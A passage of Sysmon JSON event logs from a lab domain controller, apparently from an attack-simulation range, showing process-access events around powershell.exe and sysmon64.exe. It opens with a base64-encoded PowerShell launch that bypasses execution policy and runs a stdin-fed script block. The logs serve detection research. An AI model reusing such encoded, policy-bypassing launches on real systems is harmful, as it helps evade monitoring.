UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4840,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.180\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-00105A5B0700}\r\nSourceProcessId: 4376\r\nSourceThreadId: 3696\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-00102F5C0700}\r\nTargetProcessId: 3640\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.180","SourceProcessGUID":"{90617006-415E-5F2D-0000-00105A5B0700}","SourceProcessId":"4376","SourceThreadId":"3696","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-00102F5C0700}","TargetProcessId":"3640","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4841,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.180\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-00102F5C0700}\r\nTargetProcessId: 3640\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.180","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-00102F5C0700}","TargetProcessId":"3640","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4842,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.180\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.180","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4843,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.180\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.180","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4844,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.180\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.180","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4845,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.180\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.180","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4846,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.180\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.180","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4847,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.180\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 